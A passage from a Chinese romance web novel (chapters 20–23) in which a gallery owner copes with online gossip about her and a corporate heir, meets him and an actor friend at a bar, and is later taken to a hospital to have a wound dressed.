虽然分手八百年,虽然是假扮,但这种合作也很诡异好吗?
于付忱垂眼沉凝她片刻,似是看出她的顾虑,几秒后:“不是你说的旧人旧事,不必再提?”
“我……?”
江熙宁语塞。
这是餐厅那天,她为了阻止江印继续说李晋许才说的这句话,当时还阴差阳错踢到了于付忱。所以他以为,那天她是在暗示他不想提及两人认识的事?
但他这么理解好像也没差。
窗外不知何时下起了雨,天也已经黑的彻底。
见江熙宁不说话,于付忱居高临下的看着她,莹黑如墨的眼眸里是明晃晃的灯光也未能触底的暗意。
“怎么,你心里还有他?”
20. 第 20 章
忘不了?
他在说什么!
好友一删,背景一换,距离的冲淡、联系上的中断,分手的这两年多里,江熙宁真正记起李晋许的时间并不多。
要不是因为于付忱的出现,江熙宁回忆起这一段恋情的次数恐怕会更少。
江熙宁和李晋许之间,没有移情别恋,没有第三者,有的只有现实。她有回宁城不可的理由,而李晋许没有非离开青城的理由。
至少她不是他的那个理由。
她也没能成为他的理由。
这一点,江熙宁看的很淡。每个人都有自己的选择,她不会要求李晋许为了她来到宁城。她自然也不会要求他离开青城。
感情里一旦参杂了一些现实因素,就像鲜美的鱼里有刺,不影响鱼本身的味道,不影响江熙宁喜欢,但是她就是不会去碰。
挑鱼刺,麻烦。
人也一样。
-
华盈集团的大手笔买画,消息一时间席卷了整个同行圈,迅速登上了头条,瞬间炸出无数的消息,飞向江熙宁的手机。
这次展上的画家来询问网络上关于已经和华盈集团的消息是否属实。之前觉得此刻画廊庙小的艺术家们,也全然换了一副态度,纷纷投来橄榄枝表示下次展览一定要合作。
一些画家还主动发来了作品资料,极力自荐。
王木达和向锐也发来消息和江熙宁道歉,说那天的行为过于冲动。既然签了代理协议,一定是相信画廊的云云。
整整一天,江熙宁的手机不停的震动、响铃,握在手里烫的吓人。
另一边乔西娅联系了一波媒体,借势为画廊作了一波推广。
事情算是平稳度过。
乔西娅放下忙碌的手机,盯着空气了看了两分钟,叹了口气。
好端端的。
江熙宁抬睫:“请发表感言。”
“整个事件唯一的受害者出现了。”
“?”
“你说,于天文捅了这么个篓子,终归也是达到他的目的了。画廊算是因祸得福,火了一把。只有你的校友……”乔西娅啧了一声,“花了冤枉钱,还替于天文背锅。”
江熙宁唇角一抽。心疼人家的钱?
“……签约的时候,你倒是一点没犹豫。”
“这对他来说才多少钱。”乔西娅伸出食指在空气中摆动几下:“对于他这样的男人,声誉什么的才更重要吧。”
她转过头看江熙宁。
“没想到,网上挺多人磕你和于付忱的。”
“?”江熙宁看着收了人钱开始吃里扒外的好闺蜜、好姐妹。“难道我就不要名声了?”
“那也不是。真不是我向着他说话啊,主要是,于付忱亏大些。”乔西娅正经道:“这事怎么看都是他比较舔。”
“……”
这话,比画廊的帖子、网上的流言的加起来的杀伤力还要强千百倍。
江熙宁张了张嘴。
算了。
反正于付忱没听见这能气颠他的话……
她下载完艺术家工作室发来的资料:“这种热度,过两天就过去了。”
两人又不是什么明星。最多就是于付忱这两年出现在公众的视野里出现的频率比较高,不近女色、冷面唐僧的霸总形象又太深入人心,好不容易有了点可能的桃色新闻,群起而吃瓜罢了。
热闹一阵,也就散了。
乔西娅看向她两秒,眯起眼笑:“就怕三人成虎噢。”
当初江熙宁和李晋许的绯闻,传着传着便成了真的。
被传成一对的原因也没什么新意,大家觉得两人都长的极好看,顺理成章的将两人强配成了一对。
事实证明被传绯闻走到一起,不过是心里暗示多了。
别人眼里的完美恋人,不适合的可能性极大。
李晋许骄傲,觉的江熙宁若是没留在青城是不爱他。江熙宁以为他爱她,应该可以理解支持她。两人的关系到了需要维持下去,就要有人牺牲的地步。他不牺牲,需要妥协的就是江熙宁。而李晋许,显然不会愿意去做那个牺牲者。他甚至在分手的时候,都给自己找好了护全连脸面的理由。
爱情固然重要,但通过牺牲另一方来证明自己是被爱的。那也太窒息了。
在爱情的游戏里,两个都不想输的人,只适合坐到对面打牌。
这段轰轰烈烈的初恋,像浪漫夺目的烟花,绽放时的炫目令所有观赏的人尖叫、兴奋,等燃尽后,是散落一地的残灰。
在一起的时候有多大阵仗,分手的时候就有多大动静。
李晋许的那段“体面”的分手感言一传十、十传百的传了出去。大部分不明原因的人都觉得李晋许这么优秀的男人,对她那么好,她竟然还不满足。
说她,太作、太娇气。
不懂珍惜。
江熙宁因为不常住宿,下了课后就回家,所以这评价她大部分不知情。
宿舍里也没人告诉她。
甚至,宿舍的人都在刻意的避开她。等她有意识的想去问,室友们也对她爱搭不理。
隔天,江熙宁去上大课,觉得大家看到她的眼神有点奇怪,有些甚至看完她一眼后低头和人咬耳朵。
很难不让人怀疑他们聊天的对象是自己。
毕竟那段时间,她和李晋许分手的事,成了全校学生茶余饭后的八卦话题。她也就没当一回事。
谁知,课间去上厕所的时候,偶然听见有人和另一个班上的同学说。
“哪止这些,你知道江熙宁为什么都回家住吗?”
“为什么?”
“嫌弃宿舍条件差呗,她们宿舍不是有一个贫困生来的,嫌弃人家小地方出来,生活习惯差,不洗澡,身上有味儿!”
“啊?什么味儿啊?怎么这样……”
“无语。当她多高贵啊!”
江熙宁走出去,发现这几个人都是别班的,她一个不认识。
她往几人走过去,对着说话的人吸了吸鼻子,眨巴眼睛问:“什么味道?是你身上这味道吗?”
几个人迅速像鸟兽似的你推我、我推你你的一哄而散了。
但自此后,江熙宁这“娇作女”的标签也没能撕下,直到她毕业。
以此江熙宁得出深刻的结论。
“历史经验告诉我,离绯闻对象远一点才是明智之举。”
总不能同一个坑里,掉进去两次。
那也太不长记性了。
-
另一边,于付忱刚结束集团元老股东们的讨伐会议。于向华的电话又打过来。
过去两年,为了扭转华盈的颓势,于付忱果断地将一些守旧不创新、拉帮结派的元老股东逐步清出了管理层。买画事件爆发后,他们立即跳出来,从道德和舆论的制高点上指责于付忱“不稳重”、“玩物丧志”,对他的继任能力提出质疑。
老爷子年过八旬,声如洪钟、中气十足。在电话的另一头,把拐杖敲的嗙响。
“这些老狐狸虽然已经失去了实权,但他们在舆论上依然能轻而易举地攻击你。任何微不足道的事,一旦被放大,都能在外界造成巨大的影响,甚至翻盘。想坐稳这位子,怎么能对这种小事掉以轻心?”
于向华只知道于付忱来宁城是为了找于天文回去,并不知道这事儿背后的始作俑者就是于天文。
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但于付忱并不打算解释。
尽管这些元老有兴风作浪的能力,但已经没有东山再起的可能。
眼下重要的,是让于天文回去。
好不容易让于向华和于天文之间的关系缓和,若是被于向华知道这事儿是于天文干的,青城势必回不去了。
“又因为你弟弟挨训了?”
挂了电话,于付忱看到自己的座位上有人坐在那等着。那人从头到脚全副武装的,鸭舌帽、墨镜、口罩分别挡住了整张脸。
于付忱抬步走过去:“不闷?”
对面的人这才扯下口罩,露出一张俊美逼人的脸。许终南咧嘴露出一口白牙:“这不是来找你喝酒解闷么。”
他说的是这个闷?
于付忱眼神微微一凝:“怎么,娱乐圈混不下去了?”
许终南用一种你在开什么玩笑的表情看他,“最近接了电影,拍摄地恰好在宁城。顺便陪陪我的好兄弟。””
他扬了扬眉,语气里带着戏谑:“你说你这形单影只的来宁城,连个能说话的人都没有。”
于付忱伸手拿过被许终南拿去上网的pad,语气冷淡:“我可不想和你闹绯闻。”
许终南和于付忱是青大同寝室的室友,大一时,许终南被星探发现进入演艺圈,开始频繁旷课。于付忱那时因为半接手家里的公司,也不常在学校。
起初两人相当不熟。
直到学校里传出了些奇怪的传言,大家说他们俩是一对,不住宿舍是为了在校外同居。
这在当时差点断送许终南的明星之路。
而于付忱,则被贺韫话差点弄去上心理课和生理课……
为了弄清楚这些传闻是怎么来的,于付忱和许终南十分默契的在学校里住了一个月,联手找传绯闻的源头,其实产生谣言的原因简单到离谱,是因为两人实在是长得太好了,经常同时出现同时消失,连翘的课几乎一模一样,大家才有了那样的猜测。
事实上关于翘课这件事,两人不过是用大脑简单的分析了下,筛选出了翘哪些课效率最高、损失最小。
仅此而已。
从那之后,于付忱和许终南反倒因为这段无稽之谈真的成了好兄弟。
“那你想和谁闹绯闻,”许终南嘴角勾起一个玩味的笑,“pad上的那位?”
于付忱切掉许终南刚才浏览的八卦页面,坐到沙发上继续处理工作。没理他。
见他不应声,许终南坐在椅子上转了圈,“要我说这照片,拍的是真艺术。一眼就能看出是江熙宁。两年多不见,更漂亮了。”
“……”
这时,内部会话软件上,跳出肖易的邮件。
肖易:【于总,各家媒体预备的公关稿都在这里了。大致的思路是引导舆论将焦点转向华盈未来的战略规划,特别是在拓展艺术产业方面的布局。您确认后,便可发出。】
于付忱点开浏览。
听见许终南又说:“当初李晋许多得意啊,逢人炫耀吹牛逼说校花喜欢他呢。”
于付忱关掉千篇一律的文档,敲上【确认】两字。
许终南继续说:“当初要不是两人学校里绯闻闹的凶,传着传着就成真的了。有他李晋许什么事儿。”
于付忱要发送的手,突然停下。
见他手指悬停在屏幕上,许终南唇角勾起一个邪性的弧度:“我呢,和某浪关系还不错,要不要我帮你?我让团队——”
“啪——”
一声脆响打断了许终南的话。
于付忱合上pad,脸上的光一瞬间消失,表情是一如既往的没有表情。
“我需要你帮?”
21. 第 21 章
过了傍晚,浓烈的暮色引诱白日,慢慢的变为黑夜。万家灯火如燃烧的光点,城市的活力在绚烂的光影中跃动。
在乔西娅的几番催促后,江熙宁关掉电脑,扯上包包出了画廊。
不到九点,两人到了Free酒吧。店里的人还不多。各个位置上零零散散的坐着下班来放松的男男女女。音乐没开始哄闹炸耳,舞台上只有一个俊秀的男歌手抱着吉他弹唱。
乔西娅称这个时间段是“饭后解渴场。”
这个点来喝酒的,多是附近写字楼里忙碌一天后来放松的都市男女。再晚一点,等过了凌晨才是真正活色生香的夜生活。
但江熙宁最多陪乔西娅到十点。
这两天好不容易调整到正常睡眠,她惜命。
进了酒吧,服务员轻车熟路的将两人领到二楼vip卡座。知道她们要来,老板特意给她们留了位置,二楼的位置更加的私密,又能借着高处的优势一览无余。
等上酒的间隙,乔西娅已经逡巡了一轮,语气颇为失望:“一个能打的都没有。”
江熙宁眼尾微挑,意味深长的“昂”了一声:“确实都不如池延。”
“谁拿他做参照物了!”乔西娅哼了声,反过来打趣她:“我说的是都没有你绯闻男友好看。”
“……”
即将主动失恋的女人不能惹,战力值爆棚。
江熙宁乖乖的闭了嘴。
“说起来,怎么你们校草不是他?不然你的前任,没准轮不着他李晋许。”乔西娅突然问道。
这个话题,江印也问过。江熙宁仔细想了一下。除了评选时于付忱压根没参与之外,即使他参与了,她觉得他也未必能赢。
因为这种大众投票性质的,并不一定只看投票内容的本身。
还讲人缘。
于付忱在大学属于听到他名字的次数可能都比他在学校里露面次数多的人。再加上他生人勿近、看起来不好接近的性格,劝退了大部分意图与他攀近的人。就连最容易建立亲密关系的室友,江熙宁从李晋许的描述中听到最多的评价是,倨傲不群。
同样是人群中的焦点,李晋许和他完全不同。李晋许喜欢被人簇拥,享受被关注的感觉,所以时常沉浸在这种热烈的社交氛围中,不同专业、班级、年级、院系,几乎每个角落都有他的朋友和兄弟。女生和他打招呼,他也不会冷脸相待,甚至还会笑着回应两句。
要是拼亲和力,于付忱实在没什么优势。
“学校论坛评的,又不是什么权威机构认证,没那么严谨。”江熙宁说道,提起这,她又突然记起一件趣事:“那年和我一起进入校花决赛圈的人选,还是个男生呢。”
“什么?”乔西娅震惊:“还有这种事!”
江熙宁支着下巴,点头:“就是因为长得太漂亮,像漫画里走出来的那种撕漫男。所以将他放在了校花评选名单里,减少校草竞争的压力。”
帅哥嘛,各有各的好看。就像不同的艺术形式,油画、水墨画、漆画,各自都有独特的魅力,实在很难决出胜负。
唔,叫什么名字来着?……好像是叫许终南?
大学的时候,他好像已经被挖进了演艺圈。江熙宁没太关注,她不追星,只是偶然一次在电视上看到觉得这人眼熟。
“您的酒。”
就在这时,服务员过来上酒,打断了她的思绪。
等服务员离开,话题也就被岔开。看不见摸不到的帅哥,总是没有现实中的真人来的有吸引力。乔西娅的新思被坐在两人斜侧后位置里的人勾走。
“五点方向,有个帅哥!”
江熙宁转过头,和她们隔了两桌的位子不知道什么时候坐了个男人。
酒吧的灯光本来就昏暗,他戴着鸭舌帽、墨镜遮住大半张脸,口罩挡着嘴,只剩下鼻子裸露在外。
长腿敞开坐着,姿态闲逸。
别说,有人晚上戴墨镜像装逼,有人就。
挺有星味。
“一会儿,老办法啊。”乔西娅冲江熙宁挤挤眼,没等她回过神,扭着风情万种的腰肢过去打招呼。
男人见到前来搭讪的乔西娅动作一顿,目光下意识的向四周扫视一圈。虽然看不见他的表情,但江熙宁能感觉到这人似乎挺警惕的。
思索间男人已经看到江熙宁,目光直直的看过来。
乔西娅也在他看不到的视线范围里朝她比着口型:靠你了!
每当乔西娅遇到难茬,就喜欢找江熙宁当僚机。最主要原因是只要对方性取向正常,几乎没有人会拒绝和江熙宁喝杯酒。
反正到目前为止,还没失败过。
江熙宁无奈的配合她,扬起一个工具人微笑。
男人动作一顿。
隔着几米远的位置,她听不见他们谈话的内容。只见乔西娅指了指她们的座位,几秒后,他起身朝她的方向走来。
江熙宁维持着笑,心里已经开始盘算起功成身退的时间。
只是下一秒,一道锐利的目光扫过。她的笑容顿时僵在脸上。
余光中,一道熟悉的身影,踩着明暗交替的灯光向着这边走来。
江熙宁脑壳突突跳了两下,呼吸也跟着紊乱。才说要和绯闻对象保持距离,没想到在这居然又碰上了于付忱。这人还是他哥的眼线,万一他以为自己是在搭讪,把这事儿告诉江印……
她立刻假装没看见他若无其事地回过头,将希望寄托于他没看见自己。
他好像近视?酒吧里光线又这么昏暗,江熙宁在心中默念:看不到,看不到,看不——
“江熙宁。”
努力降低存在感、低头喝酒的江熙宁,差点被呛了一口。
她抬眸,看了眼走到她面前的人。
“还真是你。”戴着墨镜的男人,食指将快比脸大的墨镜往下压了压,露出一双前勾起后翘的狐狸眼。
江熙宁张了张嘴,“……许终南。”<
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见认出他,许终南又利索的把墨镜戴了回去,然后冲后到的于付忱挑眉笑说:“你看我遇到谁了。”
……
难怪于付忱会出现在酒吧。
大学的时候,李晋许他们宿舍四人,分为了两个小团体。经常在宿舍的和两个不经常在宿舍的。许终南和于付忱这两个不常在宿舍的人,关系走的更近些。
江熙宁咬了咬唇肉,暗自镇静了片刻,才迎上于付忱的目光。
“真巧啊,你们也来喝酒。”
于付忱长身鹤立的站在那,垂眸凝视她。与许终南那双狭长锐利的眼睛不同,于付忱眉目更硬朗,眼皮是小开扇,贵气之余看人更具有压迫性。
短暂的沉默后,他沉沉开口。
“陪人。”
这话听起来颇有一种:“你是来喝酒,而我不是”的意味。
这该死的道德制高点就这么被他占上了。
“阿忱他滴酒不沾,好男人呢。”许终南笑着拍了拍于付忱的肩膀。随后又看向江熙宁和乔西娅,“既然碰上,一起呗。”
乔西娅一听几人都认识,当即爽快的应下:“好啊。”
她没想到自己随手撩的竟是大明星许终南,眼下她除了兴奋已经全然没有了要攻略亵渎他的意思。
此等仙物她不配。况且,她也一向不吃窝边草。
等坐下后,乔西娅又说道:“刚才宁宁和我说看到一个绝帅的帅哥,让我去要号码。没想到你们竟然是同学。”
“?”
江熙宁正想说点什么,桌子底下,她的右胳膊被人用力掐了一把。
乔西娅悄悄侧过手机屏,上面打着一行小字:不然我尴尬。
……
下次,她再给这女人当僚机,她名字倒过来写!
江熙宁挤出个笑,“我刚才看你觉得很熟悉,所以……”
真的没有搭讪的意思。
说完,她顺势瞥了眼于付忱。几人聊天时,于付忱嫌少参与他们忆往昔的话题,也不喝酒,还会在收到工作消息后低头回复。整个人坐得挺拔笔直,完全不像是来放松玩乐的。
倒像是来开会的。
江熙宁端起酒杯,抿了一口。
“我全副武装成那样,你也认出来了?”见她举杯,许终南也拿起酒杯碰了碰她的。
碰杯时,一直听着她们聊天、许久没参与的于付忱眉梢动了动,他的视线再次落回江熙宁脸上。她微微仰起下巴喝酒,露出一截白皙的颈线。散落在额前的刘海随着动作打开又合拢。
随后他听见她答:“对。”
许终南笑道:“厉害,不过我也一眼认出了你。”
江熙宁拨了拨挡住眼睛的刘海,想开口说自己记性不错时,忽然察觉到对面的人已经没再看手机。
于付忱静静地盯着她,视线沉默而强烈。蓝色的屏幕光印在他冷硬的五官上,像是泛着暗青。
“记性真好。”
22. 第 22 章
他的声音不轻不重、意有所指,似是漫不经心,却精准的击中江熙宁脑海中的某片记忆区。
画廊开幕酒会那天,她装不认识从他的身边走过,被叫住后,还强装镇定自我介绍说。
——“我是这家画廊的主理人……”
……
不确定“记性真好”这话是不是冲着她说的,但人在确有其事的时候,多少会有被cue穿的心虚感。
尤其是此刻,头顶有道视线朝她这边无声的落下来。
江熙宁垂眸喝酒。
却发现酒杯里没酒,心虚倒是满满的。
幸好这时许终南对号入座、主动将这话认领下来:“那当然了,我还记得你当初答应投我一部电影,打算什么时候兑现?”
闻言,于付忱收回目光。
“没钱。”
许终南扬起好看的眉眼:“想抵赖?”
“你漏了前提条件。”于付忱停住,几秒后,轻描淡写的说:“我的原话是:如果你在家当洗脚婢。”
“……”
于付忱声线一惯偏冷,加上脸上又不带什么表情,说的话让人听起来总觉得漠然之中带着十足威慑感。
但很奇怪。
江熙宁从两人的话里梳理出一丝丝不一样来东西。如今的许终南已经是娱乐圈顶流,谁不知道他许终南是票房的保障。资本上赶着送钱他都得挑一挑的程度。按于付忱的当初的承诺,恐怕根本没机会实现了。
在困难的时候愿意倾力相助,可一旦有了利益,反倒不愿插手了。
这和于付忱面冷心硬的资本家的形象很是相悖。
江熙宁这时莫名想起以前学校里盛传两人是一对的流言来。
如果是真的。
那绝对是真爱。掺杂了金钱关系的关系,想要维持纯粹很难。多少明星夫妻之间因为利益的深度捆绑,最后撕的极难看。
如果是假的……
江熙宁抬眸看对面那张冷峻的脸,那这冰山还挺有人情味的。
至少对兄弟是这样。
不然当初也不会为了李晋许,来和她说那些劝诫的话。没理由啊。
所以不管真假,江熙宁对于付忱有了为数不多的改观。
这人面冷是实,说心硬倒也未必。
许终南大剌剌的靠在椅背上,刚才喝酒时许终难扯下了口罩,唇和眼睛是一样妖媚的形状,“我怎么不记得这些细节。”
语气欠欠的,像是故意挑事。
于付忱低头回消息,不打算理。
许终南看不惯他不分场合的工作,傲娇地将手机从他手里抽离,随手往桌上一扔。手机顺着光滑的大理石面,滑向坐在对面的江熙宁。
于付忱顺势看过来。
眼看手机要滑下桌,江熙宁伸手抓住。与此同时,于付忱的话随着一股烫热的触感一同传来。
“你说这说明什么?”
江熙宁指尖一颤,像是握住了一个烫手的山芋。
顿了顿,她抬眸恰好迎上他的询问的目光。
问她?
“说明你记性也不错。”
周围沉默下来。
于付忱扯了下唇角。
“bravo!”许终南意味不明地看着于付忱,忍不住拍了拍手。
以前没少听李晋许或者是其他人嘴里提江熙宁,对她的评价无非是漂亮又娇气。接触下来发现,除了长得娇气了点,并不难相处,性格也有趣的很。难怪当初能把浪心的李晋许治得服服帖帖。
看来她能治住的,也不止李晋许啊。
事情变得好玩起来。
江熙宁话说完的那刻,意识到自己被酒精怂恿了。
酒壮怂人胆,况且她一向不怂。
好像已经不是第一次口出狂言创到于付忱,江熙宁眼下已经能做到相当坦然地起身,“我去趟洗手间。”
乔西娅见状也紧跟着站起身,说去吧台再点些酒来。
洗手间在楼梯上来的那一头,两人便一同走过去。
走远两步后,乔西娅拉过江熙宁,提起刚才于付忱说没钱的话,“他这身价,有必要和许终南装穷?”
江熙宁摇头,没必要。
乔西娅:“你说他是不是在暗示在画廊花了冤枉钱?”
江熙宁看她:“有愧疚感了?”
“那也谈不上。”乔西娅抱起双臂,“他帮画廊,也让你绯闻缠身了不是,我们也不能光吃亏。”
“?……之前不是还说,他损失比较大吗?”
乔西娅一脸凛然:“我能向着外人?”
“……”
穿过走廊时,有个年轻男人撞到江熙宁的肩,他似乎喝多了,走路深一脚浅一脚,粗着脖子打电话,完全都没意识到自己撞了人。
“花老子钱的时候一口一个哥哥。”
“现在到处谣传说老子是舔狗?”
“老子舔她?靠北!”
“舔狗”两个字让江熙宁眉心一跳。她不由想起乔西娅的那句“怎么说都是他比较舔”。虽然事实完全不是这样,但难免网上吃瓜群众发散思维也这么认为。
虽说于付忱帮画廊不过是在在处理和自己兄弟的过程中,顺带的。甚至这中间,江熙宁觉的有很大的成分是看在江印的面子上。
“不管怎么说,画廊都是实际收益的一方。我们也没道理就这么平白无故的接受人家的好意。”
江熙宁最怕欠人人情,人情一旦欠下,总要还了才能心安。她自顾思考了两天,没想不出什么好的办法,只好找乔西娅商量。
乔西娅:“送他点什么礼物?”
“他应该不会缺什么吧。”江熙宁蹙眉。有钱有颜,想要什么没有。
“那可不一定。”
江熙宁没懂:“嗯?”
乔西娅:“还不是缺女朋友。”
“……”
江熙宁:“我的意思是,有没有能帮他解决绯闻困扰的办法。”
她没提于付忱之前和她说的,假扮情侣的方案。于天文为了她不回青城的事儿,按她以往的经验,多拒绝几次也就放弃了。
但“舔狗”这种子虚乌有的非议,多少有点儿伤人面子。
乔西娅:“可以问问许终南啊,这问题还能有谁比大明星有经验。”
许终南对此的确很有经验。
一听江熙宁这么问,立刻就知道她想解决什么。还知道她为什么小心谨慎的选了个于付忱
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出去打电话的契机。
“处理这一类的舆情,常规的公关办法有两种。一是当事人出来澄清,再不济发个律师函正式一些。第二种呢,用其他的热点转移公众的视线。”
江熙宁点了点头。
她和于付忱的在网络上的传言,关注和讨论的主要是两人圈子的粉丝为主,不到娱乐圈里有个什么谣言全民吃瓜的程度。犯不着用第二种方案。
如果是第一种的话,那需要于付忱的配合。
思索间,许终南又悠悠说道:“第二种方案,你应该熟悉啊。”
江熙宁没听懂他的话:“我?”
“你还记不记得,大学你和李晋许分手那会儿,闹的全校沸沸扬扬的。”许终南看了她一眼,点到为止,没再继续说下去。
江熙宁猜他想说的,不仅仅是学校里关于她和李晋许分手的那些议论,还有分手之后大肆流传的说她“娇气”、“公主病”、“作”之类的评价。这些议论开始于恋情分手,但并不局限于此,而是在方方面面的成为了解读她行为的依据。
她的迎风泪被人解读为故意装柔弱,甚至是用来博取同情的伎俩。她因为睡眠问题不住在宿舍,也被说成是嫌弃宿舍的人,进而成为了和宿舍矛盾的根源。
“你想想为什么后来没人讨论了?”
江熙宁愣住。
搬出宿舍后,她除了准备毕业的事情,其他时间几乎不在学校。那些闲言碎语也没什么机会听到。加上她从不在意别人怎么说,所以也没去关注那些讨论。
她本想说,难道不是时间久了,大家对这件事情自然没了兴趣。但许终南这么问,倒是让江熙宁有了点印象,那时候学校里有更令大家乐此不疲的新话题。
“因为那时候,学校里传我和阿忱来着。”许终南毫不在意的说起这段黑历史。“直到现在还有不少人,扒我这段黑料。”
于付忱恰好打完电后从外面回来,听见许终南翻出这一段,冷眼瞥他:“话多。”
许终南看着接完电话回来的人:“你不聊天,又不喝酒,还有处理不完的消息。要不你先回?”
听到这话,于付忱神色凝重:“该先走的人是你。”
许终南敢肆无忌惮在公共场合出现的原因,是因为于付忱在楼下安排了人,万一有人认出他也能快速护送他安全离开。
但刚才肖易打电话来提醒,现场似乎跟进来好几个狗仔媒体。
二楼虽然是相对私密的vip区,但毕竟是公共场所。
刚才他们聊天的功夫,已经吸引了不少目光朝楼上扫来。
就在这会儿,楼下人群里不知道是谁喊了句“许终南。”
瞬间,一颗颗头颅齐唰唰向楼上的方向看过来,片刻后,有不少许终南的粉丝看到偶像后,迅速向楼梯的方向冲,向二楼冲上来。
于付忱的人在楼梯口挡住了一部分,但楼梯的扶手不高,也仅仅是拦住了一部分。
闪光灯此刻接连亮起,刺得江熙宁连眼睛都难以睁开,受到刺激的泪腺疯狂抗议,眼泪不由自主地往下流。
她本能地闭上眼睛,但周围的人流涌动,推推搡搡中,频繁撞向她。
就在这时,一双滚烫的手覆上了她的眼睛。
23. 第 23 章
江熙宁呼吸一滞,心口仿佛漏跳一拍。
一股独特的属于于付忱的男香扑面而来,随着掌心传来的温度侵入鼻息。
一瞬间,刺得生疼的白光消失了。
在眼前晃的脑袋疼的虚影也消失了。
耳畔哄闹的人流、尖叫和喧嚣、不停按动的快门声,像是一下子被拉远了。
满目是沉静、令人心安的黑色。
于付忱的手掌隔着几毫米的距离,与她的睫毛相触,细微的纹路触感透过眼帘传来,黑暗中,她突然想起贝尼尼的雕塑作品《春心沦陷》里那双冥王哈迪斯的手,线条冷峻,指骨暗藏力道,肌理清晰得近乎冷白。
但这只手,却是热的。
甚至有些灼人。
怎么有人的手这么暖和,像加热的眼罩似的。
不过挺舒服,江熙宁感觉眼睛的不适感消退了不少。
人群的疯狂在许终南离开后渐渐平息。
于付忱也在这时抽回了手。
江熙宁迟缓了两秒,才慢慢睁开眼,睫毛上还留有余温。刚才看不见的时候,有种生理上不讨厌,甚至有点儿贪恋的感觉。竟然没推开。
察觉到这一点江熙宁没敢去看于付忱,偏过脸,从桌上抽出纸巾擦拭未被烘干的湿意。
“宁宁,你没事吧?”
乔西娅先前被人流堵在了楼下这会儿也上来了,看到江熙宁眼眶红红的眼带薄怒看向一旁的于付忱。一整晚下来,于付忱都冷着一张脸,看起来像是欠了他巨款似的。
一定是画廊的事情让他不满,趁她不在找江熙宁的麻烦。
“谁欺负你了?”
乔西娅和江印一样,对江熙宁都带着点护犊子的心态,她若是被欺负了,那是不管对方是谁都要上去理论理论的。
欺负人?
于付忱风评再次被害。
知道乔西娅误会了,江熙宁连忙解释:“我没事,刚才闪光灯有点亮,眼睛不舒服。”
“……”
于付忱闻言,目光慢条斯理的压过来。
乔西娅被审视般的目光看得声音低了两分,尴尬的清了清嗓子说道:“忘了忘了,你眼睛娇气受不了刺激。眼药水带了吗?”
说着低头去座位里翻她的包,心虚的转移开话题:“我在下面都感觉自己快被挤成纸片人了。有个体格娇小的女生在我侧前方也想上楼来,直接被后面的人推到墙上撞破了脑袋,幸好有个好心哥们儿用身体给她挡住了。”
她边画面感十足的描绘着当时惊险的情形,边拉过江熙宁到光线较好的位置,极为自然的替她点药水,“许终南刚才在这儿,你们这儿估计被挤爆吧?”
人群涌上来的时江熙宁全程闭着眼睛,除了四周嘈杂和混乱的声音,于付忱身上好闻的味道,和令人贪恋的体温,并没有感受到乔西娅说的混乱。
什么也没看见的江熙宁脑补可能的遭遇时,自动套上了乔西娅描绘的英雄救美的壁咚场景。
不会于付忱也是这么挡在她身前……所以她才没有感觉到人挤人?
“宁宁,你脸怎么这么烫?”乔西娅拧上药水盖,碰了碰她的脸突然问。
江熙宁背脊一僵。
有吗?
她不太自然的摸了摸自己的脸。
不光是脸,连耳根都是烫的。
“……被吓的。”
江熙宁赶紧把自己想象的场景在脑海里撕碎丢掉,她睁开眼。
好巧不巧与于付忱带有探究意味的目光撞上。
“……”
江熙宁心虚又坚定的补了一句:“这会儿心跳还飞快呢。”
躁动散去,一切恢复到许终南被认出前的模样。酒吧里的客人各自喝着酒,聊天,享受酣畅与惬意。或许是因为许终南的出现为酒吧带来了热场,这时吉他手退场换成了DJ,深夜场提前开始了。
音乐的风格从温和悠扬变成了轰鸣喧嚣。
这会儿眼睛的不适感已经消退了大半,江熙宁打算回去。恰时肖易带着两个保镖走过来。
“于总,车在楼下。”
于付忱转过头看向她:“送你们回去。”
乔西娅是打算二场的,但当她看见几个保镖的肌肉块后,不由的吞了吞口水。
最终还是没开口,老实的扯着江熙宁一起出了酒吧。
到了门口,肖易先给江熙宁打开后车门,她低头钻进车时,余光瞥见乔西娅轻快地上了副驾驶,坐在了她的前面。
江熙宁一愣:“你不坐后面?”
乔西娅十分有自知之明道:“总不能让人老板坐副驾驶。”
江熙宁没来得及和她说,于付忱的车不让别人碰。那次他送她回家时,连助理都没让。而今天他一滴酒没喝,显然是打算自己开车的。
“这是他的私人车,他只自己开。”
“什么?!”
乔西娅一听,立刻伸手去解安全带蹦跶着就要下车。副驾驶对于一个男人的私人车来说,可是有着不一样的地位和意义。
就在这时,江熙宁左侧的门被拉开,于付忱从另一侧上车。
???
江熙宁没反应过来,脑子不清明的问了句:“你……不开车?”
于付忱瞥她一眼,关上门。
“我是司机?”
“……”
怎么突然变大方了呢?
乔西娅家离酒吧最近,到了她家后,她打了个招呼便先行下了车。江熙宁并不打算麻烦于付忱,也准备下手,拧门把手时却发现她这一侧的车门是锁着的。
江熙宁回过头,“肖助理,麻烦你帮忙开下锁。”
肖易迟疑道:“送江小姐回去吗?”
这话听着像是在问她,但分明是在问她旁边的人。
于付忱应声前,江熙宁扯了个借口:“我也在这下,和我朋友还有事……”
于付忱转过头,眼神里带着询问的意味。
车窗摇下。
夜风带着些凉意灌进来,江熙宁转过头。乔西娅已经走远了几步,冲她挥挥手,随后收起三个手指比了个V字手势,在手心做双腿走路的姿势。
意思她一会儿还要去赶二场。
……
“能喝酒?”身后的人突然问道。
江熙宁双手扒在车窗上,下意识答:“能啊。满十八了,酒量也不错,区区二场而已。”
就算真去喝,也不犯法吧。
于付忱的收回视线时,余光扫过她抠着车窗的手。
“走吧。”
“?”江熙宁还挺茫然的。
走?
去哪里?
不会是邀请她去喝酒吧?
诶诶,她不是这个意思!
江熙宁万分后悔刚才说的话。
她不能喝,她只有一杯的酒量,她想回去睡觉了!
“要去哪?”
车子重新启动,在夜色中响起轰鸣声。于付忱的声音也随之落下,“医院。”
“……”
到了医院,江熙宁才明白过来,于付忱为什么要问她能不能喝酒。
负责给她换药的还是上次来的时候那个护士。
“伤口恢复的还可以。”护士拆下纱布检查了下,伤口已经没再渗液,边缘开始结痂,“但酒还是不建议喝。虽然伤口不严重,但是局部位置比较深,喝酒会影响愈合。”
江熙宁凑近仔细看了看,除了伤口颜色似乎变深外,看不出别的门道,于是忍不住问:“喝酒也能看出来?”
“看来是喝多了。”护士看着她笑道:“是闻出来的。”
“……”江熙宁有些窘的拿手捂住嘴,她只喝了一杯。
接下去的过程
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,护士快速又麻利的开始消毒上药。大概是还记得上次她怕疼哭鼻子的模样,这次一边下手轻柔,一边自然地找了个话题分散她的注意力。
“男朋友又陪着来啊,真幸福。”
